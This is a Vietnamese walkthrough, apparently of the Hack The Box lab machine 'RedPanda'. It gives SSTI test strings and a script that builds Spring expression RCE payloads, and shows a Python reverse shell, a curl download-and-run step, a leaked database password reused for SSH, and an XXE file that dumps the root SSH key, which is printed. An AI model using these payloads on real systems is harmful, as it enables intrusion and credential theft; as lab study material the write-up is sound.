Quay lại nmap thì tôi nhận ra tôi đã bỏ qua title của web này “Made with Spring Boot”. Phân tích qua Spring Boot thì đây là 1 extension của Spring Framework giúp đơn giản hóa các bước cấu hình trong lập trình và được viết bằng java.

Một điều quan trọng nữa là Spring Boot sử dụng Template engine để thao tác với dữ liệu để in nó ra màn hình, nên tôi thử tìm exploit hay payload liên quan đến Template injection và tôi tìm thấy kết quả ở đây

SSTI (Server Side Template Injection) cũng na ná giống XXS là cho phép kẻ tấn công nhập các đầu vào không an toàn như các đoạn code HTML hay các ký tự đặc biệt

${7*7}
*{7*7}
#{7*7}

Còn rất nhiều những payload đơn giản khác để kiểm tra, và tôi nhận được kết quả với *{7*7}

Với payload tìm được phía trên, tôi sẽ thử thay $ bằng * ở đầu payload

payload

Nhưng làm cách nào để hiểu được payload này?

Tôi tìm được trên github 1 lời giải thích khá rõ ràng, nó ở đây.

The payload became quite huge. To sum up, I used the Apache IOUtils library. I converted cat etc/passwd into ASCII characters using the character class, passed this value to the exec() method and got the input stream and passed it to the toString() method of IOUtils class. Awesome isnt it.

#!/usr/bin/env python
from __future__ import print_function
import sys

message = input('Enter message to encode:')

print('Decoded string (in ASCII):\n')
for ch in message:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')

Code này chỉ sinh ra format của mã ASCII chứ không đầy đủ payload nên tôi sẽ sửa nó để có thể RCE.

#!/usr/bin/python
from __future__ import print_function
import sys

message = input('Enter message to encode:')
encode = []

print('Ecoded string (in ASCII):\n')

for ch in message:
	encode.append(str(ord(ch)))
	
	payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % encode[0]
   
for ch in encode[1:]:
	
	payload += ".concat(T(java.lang.Character).toString({}))".format(ch)

payload += ").getInputStream())}"

print(payload)

Thử sử dụng command “cat /etc/passwd” và đối chiếu với kết quả trong payload mẫu và nó trùng khớp, nghĩa là code của tôi đã đúng.

Tôi sẽ dùng payload của python để RCE về máy mình

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",2402));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

┌──(neokali)-[~]
└─$ python test.py
Enter message to encode:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",2402));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Ecoded string (in ASCII):

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(112).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(39)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(75)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(59)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(39))).getInputStream())}
                                            
┌──(neokali)-[~]
└─$ 

Tạo listener trên máy remote: nc - lnvp 2402

Bây giờ thì sao chép đoạn code dài ngoằng phía trên vào phần command. Nhưng sau 1 thời gian loay hoay mãi tôi cũng không thể nào gọi được shell, kể cả đã upload thành công 1 file shell php lên server như thế này

┌──(neokali)-[~]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.170 - - [31/Oct/2022 04:53:21] "GET /shell.php HTTP/1.1" 200 -

Tôi cũng không thể nào gọi được shell về, đành phải ngồi gõ lệnh thủ công rồi chuyển nó thành java để tìm hiểu bên trong này không.

User flag

Với cách trên thì tôi cũng đã có thể lấy user flag thành công vì hiện tại tôi đang ở truy cập với user woodenkuser flag nằm trong thư mục user này.

user-flag

Chuyển đổi câu lệnh cat /home/woodenk/user.txt thành code java và thử lại, tôi sẽ có user flag.

Sau 1 lúc cosplay chú bé đần thì tôi mới nhận ra là tôi đang không ở thư mục mà tôi có thể thực thi được shell vì không có quyền. Và để cho chắc chắn thì tôi sẽ nhét lại shell vào /tmp/ và chạy nó với bash. Chuyển command bên dưới thành code java:

curl 10.10.14.4:8000/exploit.sh --output /tmp/exploit.sh

Cuối cùng là bash /tmp/exploit.sh

Note: tất cả command đều chuyển thành code java

┌──(neokali)-[~]
└─$ nc -lnvp 2402 
listening on [any] 2402 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.170] 39958
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp/hsperfdata_woodenk$ 

SSH

Sau khi thử qua các phương pháp đơn giản như sudo -l hay find đều không có kết quả, tôi sẽ thử tải lên linpeas.sh để phân tích machine này

linpeas.sh

Sau khi phân tích qua kết quả, tôi để ý thấy user root thực thi file jar trong thư mục /opt

woodenk@redpanda:/opt$ ll
ll
total 24
drwxr-xr-x  5 root root 4096 Jun 23 18:12 ./
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ../
-rwxr-xr-x  1 root root  462 Jun 23 18:12 cleanup.sh*
drwxr-xr-x  3 root root 4096 Jun 14 14:35 credit-score/
drwxr-xr-x  6 root root 4096 Jun 14 14:35 maven/
drwxrwxr-x  5 root root 4096 Jun 14 14:35 panda_search/
woodenk@redpanda:/opt$ 

Sau 1 lúc kiểm tra qua tất cả các thư mục này, tôi tìm thấy 1 thứ mình cần

woodenk@redpanda:/opt$ ls -la panda_search/target/classes/com/panda_search/htb/panda_search
total 28
drwxrwxr-x 2 root root 4096 Jun 20 13:51 .
drwxrwxr-x 3 root root 4096 Jun 14 14:35 ..
-rw-rw-r-- 1 root root 6460 Jun 20 13:51 MainController.java
-rw-rw-r-- 1 root root 1416 Jun 20 13:51 PandaSearchApplication.java
-rw-r--r-- 1 root root 2957 Jun 20 13:51 RequestInterceptor.java
-rw-rw-r-- 1 root root 2128 Feb 21  2022 SqlController.java
woodenk@redpanda:/opt$ 

MainController.java

<h/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java
cat MainController.java
package com.panda_search.htb.panda_search;

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
        public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
                SAXBuilder saxBuilder = new SAXBuilder();
                if(author == null)
                author = "N/A";
                author = author.strip();
                System.out.println('"' + author + '"');
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        String path = "/credits/" + author + "_creds.xml";
                        File fd = new File(path);
                        Document doc = saxBuilder.build(fd);
                        Element rootElement = doc.getRootElement();
                        String totalviews = rootElement.getChildText("totalviews");
                        List<Element> images = rootElement.getChildren("image");
                        for(Element image: images)
                                System.out.println(image.getChildText("uri"));
                        model.addAttribute("noAuthor", false);
                        model.addAttribute("author", author);
                        model.addAttribute("totalviews", totalviews);
                        model.addAttribute("images", images);
                        return new ModelAndView("stats.html");
                }
                else
                {
                        model.addAttribute("noAuthor", true);
                        return new ModelAndView("stats.html");
                }
        }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
        public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

                System.out.println("Exporting xml of: " + author);
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
                        System.out.println(in);
                        return IOUtils.toByteArray(in);
                }
                else
                {
                        return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
                }
        }
  @PostMapping("/search")
        public ModelAndView search(@RequestParam("name") String name, Model model) {
        if(name.isEmpty())
        {
                name = "Greg";
        }
        String query = filter(name);
        ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
        model.addAttribute("pandas", pandas);
        model.addAttribute("n", pandas.size());
        return new ModelAndView("search.html");
        }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
                panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}
<h/src/main/java/com/panda_search/htb/panda_search$ 

Vậy là tôi có user woodenk và pass RedPandazRule để login vào database red_panda, nhưng trước đó tôi sẽ thử dùng pass này để login ssh

┌──(neokali)-[~]
└─$ ssh woodenk@10.10.11.170
woodenk@10.10.11.170's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 02 Nov 2022 07:51:51 AM UTC

  System load:           0.06
  Usage of /:            79.0% of 4.30GB
  Memory usage:          45%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.170
  IPv6 address for eth0: dead:beef::250:56ff:feb9:59a0


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jul  5 05:51:25 2022 from 10.10.14.23
woodenk@redpanda:~$ 

Privilege escalation

Trong lúc truy cập machine thông qua RCE tôi đã để ý có 1 file tên pspy64, nó làm tôi nghĩ đến pspy. Đây là công cụ có thể theo dõi được các tiến trình chạy trên máy mà không cần quyền root

Khi chạy thử nó thì tôi nhận thấy có vài tiến trình hơi khó hiểu

2022/11/02 08:30:01 CMD: UID=1000 PID=2156   | /bin/bash /opt/cleanup.sh 
2022/11/02 08:30:01 CMD: UID=1000 PID=2157   | /usr/bin/find /tmp -name *.xml -exec rm -rf {} ; 
2022/11/02 08:30:01 CMD: UID=1000 PID=2163   | /usr/bin/find /var/tmp -name *.xml -exec rm -rf {} ; 
2022/11/02 08:30:01 CMD: UID=1000 PID=2164   | /usr/bin/find /dev/shm -name *.xml -exec rm -rf {} ; 
2022/11/02 08:30:01 CMD: UID=1000 PID=2166   | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ; 
2022/11/02 08:30:01 CMD: UID=1000 PID=2165   | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ; 
2022/11/02 08:30:01 CMD: UID=1000 PID=2177   | /bin/bash /opt/cleanup.sh 
2022/11/02 08:30:01 CMD: UID=1000 PID=2179   | /bin/bash /opt/cleanup.sh 
2022/11/02 08:30:01 CMD: UID=1000 PID=2181   | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ; 
2022/11/02 08:30:19 CMD: UID=???  PID=2185   | ???
2022/11/02 08:32:00 CMD: UID=???  PID=2187   | ???

Tại sao phải xóa các tệp đuôi xml hay jpg?

Thực sự thì đến đây tôi phải xem 1 chút giải thích của những người đã làm trước đó vì thực sự tôi không tìm được hướng đi tiếp theo.

Theo những gì đọc được và hiểu được thì tôi sẽ tiếp tục phân tích file java phía trên. Ở đó có 1 đoạn code để xuất ra file xml với format "/credits/" + author + "_creds.xml"

Tôi thử tìm tất cả các file java để kiểm tra và phân tích xem có gì đặc biệt không.

woodenk@redpanda:~$ find / -type f -name *.java 2>/dev/null
/opt/panda_search/.mvn/wrapper/MavenWrapperDownloader.java
/opt/panda_search/src/test/java/com/panda_search/htb/panda_search/PandaSearchApplicationTests.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/PandaSearchApplication.java
/opt/credit-score/LogParser/final/.mvn/wrapper/MavenWrapperDownloader.java
/opt/credit-score/LogParser/final/src/test/java/com/logparser/AppTest.java
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
woodenk@redpanda:~$ 

App.java:

...
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }
...

Trong file này tôi nhận ra đoạn code này được dùng để phân tích file ảnh bằng phương thức metadata và đọc trường “Artist” để in ra xml path "/credits/" + artist + "_creds.xml", vậy nên tôi sẽ thay đổi trường “Artist” trong file ảnh bất kỳ thành địa chỉ nơi mà tôi sẽ đặt file xml.

Và để không lặp lại sai lầm như phía trên là thực thi trên thư mục không có quyền Write thì tôi sẽ trỏ xml vào thư mục của user woodenk

Đầu tiên tải 1 chiếc ảnh về và thay đổi trường “Artist” của nó

┌──(neokali)-[~]
└─$ exiftool -Artist="../home/woodenk/privesc" user.jpg
    1 image files updated
                                          
┌──(neokali)-[~]
└─$ scp user.jpg woodenk@10.10.11.170:.
woodenk@10.10.11.170's password: 
user.jpg                                                   100%   13KB 185.9KB/s   00:00  

Sau đó tôi tạo 1 file xml sử dụng XML Entity Expansion in Java để đọc ssh private key của user root. Và như ở trên tôi để đường dẫn đến privesc thì với quy ước đặt tên "/credits/" + artist + "_creds.xml" tôi sẽ phải đặt tên file xml này là privesc_creds.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>    
  <author>damian</author>
  <image>    
    <uri>/../../../../../../../home/woodenk/user.jpg</uri>
    <views>1</views>
    <foo>&xxe;</foo>
  </image>   
  <totalviews>2</totalviews>
</credits>

Cũng với file App.java, tôi nhận thấy cách User-Agent được xử lý:

 public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        
        return map;
    }

Tôi sẽ sử dụng 1 lệnh curl để gửi 1 request lên server với User-Agent đã được sửa đổi thành đường dẫn đến ảnh tôi đã lên phía trên. Và khi nó thực thi, nó sẽ trả về cho tôi private key của user root

┌──(neokali)-[~]
└─$ curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/user.jpg"

Chờ 1 chút để server xử lý và mở lại file xml vừa tạo.

woodenk@redpanda:~$ cat privesc_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace>
<credits>
  <author>damian</author>
  <image>
    <uri>/../../../../../../../home/woodenk/user.jpg</uri>
    <views>3</views>
    <foo>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</foo>
  </image>
  <totalviews>4</totalviews>
</credits>
woodenk@redpanda:~$ 

Lưu private key này về và login ssh

┌──(neokali)-[~]
└─$ ssh -i id_rsa root@10.10.11.170                                       
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 03 Nov 2022 03:19:59 AM UTC

  System load:           0.0
  Usage of /:            82.9% of 4.30GB
  Memory usage:          59%
  Swap usage:            0%
  Processes:             226
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.170
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c2da


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Nov  2 13:54:23 2022 from 10.10.14.15
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)
root@redpanda:~# ls
root.txt 
root@redpanda:~# 

Đây là 1 bài tuy là mức easy nhưng cũng cần khá nhiều kỹ năng, đặc biệt là hiểu và viết payload cũng như phân tích code java. Tôi tham khảo writeup ở đây. Nó giải thích khá chi tiết và khá dễ hiểu.

Pagination


© 2025. All rights reserved.